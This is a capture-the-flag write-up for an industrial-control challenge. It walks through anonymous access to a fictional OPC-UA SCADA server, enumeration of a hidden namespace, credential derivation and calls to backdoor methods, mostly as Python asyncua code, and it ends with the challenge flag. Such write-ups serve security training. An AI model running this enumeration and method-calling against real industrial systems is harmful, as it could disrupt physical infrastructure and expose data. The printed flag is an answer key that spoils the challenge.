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# Tachibana SCADA
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| Field | Value |
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| Category | OT |
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| Difficulty | Medium-Hard |
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| Points | 413 |
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| Author | Eun0us |
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| CTF | Espilon 2026 |
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---
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## Description
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After the KIDS incident, forensic investigators found an OPC-UA server still running on
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the isolated SCADA segment at Tachibana General Laboratories.
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The server allows anonymous connections. Beneath the standard industrial data, there is a
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hidden namespace registered by Eiri Masami before his termination.
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Browse the address space. Find the hidden namespace. There is a method that was never meant
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to be called.
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- OPC-UA Binary: `tcp/<host>:4840`
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Format: **ESPILON{flag}**
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---
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## TL;DR
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Connect anonymously to the OPC-UA server. Read the namespace array to find the hidden
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`urn:tachibana:eiri:kids` namespace. Browse it to find `Backdoor/Authenticate` and
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`Backdoor/ExtractResearchData` methods. Derive credentials from the namespace URI
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(username=`eiri`, key_hash=`SHA256("KIDS")[:16]`). Call Authenticate, then call
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ExtractResearchData with `project_id=7` to get the flag.
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---
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## Tools
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| Tool | Purpose |
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| Python 3 + `asyncua` | OPC-UA async client |
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| Python 3 + `hashlib` | SHA-256 key hash derivation |
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---
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## Solution
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### Step 1 — Connect anonymously
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```python
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import asyncio
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from asyncua import Client
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async def exploit():
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async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
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# Step 2: discover namespaces
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ns_array = await c.get_namespace_array()
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print(ns_array)
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```
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```
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['http://opcfoundation.org/UA/',
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'urn:tachibana:scada', ← public SCADA data
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'urn:tachibana:eiri:kids'] ← HIDDEN namespace
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```
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### Step 2 — Browse the public namespace (ns=2)
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Standard SCADA data: power distribution, cooling systems, Wired Interface Array.
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Note `Resonance_Hz = 7.83` — a Schumann resonance breadcrumb.
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### Step 3 — Browse the hidden namespace (ns=3)
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```python
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async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
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ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
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root = c.nodes.root
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eiri = await root.get_child([f"0:Objects", f"{ns}:EiriMasami"])
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kids = await eiri.get_child(f"{ns}:KIDS_Project")
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bkdr = await eiri.get_child(f"{ns}:Backdoor")
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# Variables inside KIDS_Project
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subject_count = await (await kids.get_child(f"{ns}:SubjectCount")).get_value()
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protocol7_version = await (await kids.get_child(f"{ns}:Protocol7_Version")).get_value()
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# Protocol7_Version = "7.0.0-alpha" → project_id = 7
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# Methods inside Backdoor
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auth_method = await bkdr.get_child(f"{ns}:Authenticate")
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extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
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```
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### Step 4 — Read method argument descriptions
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`Authenticate(username: String, key_hash: ByteString) -> session_token: String`
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The `key_hash` InputArguments description says:
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*"16-byte truncated SHA-256 of the project name"*
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### Step 5 — Derive credentials
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- **username**: `eiri` — from the namespace URI `urn:tachibana:eiri:kids`
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- **key_hash**: SHA-256 of the project name, truncated to 16 bytes
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```python
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import hashlib
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# Project name = "KIDS" — from the namespace path urn:tachibana:eiri:kids
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key_hash = hashlib.sha256(b"KIDS").digest()[:16]
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```
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### Step 6 — Authenticate
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```python
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async with Client("opc.tcp://<HOST>:4840/tachibana/") as c:
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ns = await c.get_namespace_index("urn:tachibana:eiri:kids")
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bkdr = await c.nodes.root.get_child(
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[f"0:Objects", f"{ns}:EiriMasami", f"{ns}:Backdoor"])
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auth_method = await bkdr.get_child(f"{ns}:Authenticate")
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result = await c.nodes.root.call_method(
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auth_method, "eiri", key_hash)
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session_token = result[0]
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print(f"Token: {session_token}")
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```
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### Step 7 — Extract Protocol Seven (project_id=7)
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```python
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extract_method = await bkdr.get_child(f"{ns}:ExtractResearchData")
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data = await c.nodes.root.call_method(
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extract_method, session_token, 7)
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print(data[0]) # ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}
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```
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### Key insights
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- Namespace URI `urn:tachibana:eiri:kids` directly embeds both the username (`eiri`)
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and the hash source (`kids`)
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- `Protocol7_Version = "7.0.0-alpha"` encodes `project_id = 7`
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- Anonymous OPC-UA access is a real-world ICS misconfiguration — no authentication required
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- Method argument `description` properties provide all hints needed
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---
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## Flag
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`ESPILON{31r1_k1ds_pr0t0c0l_s3v3n}`
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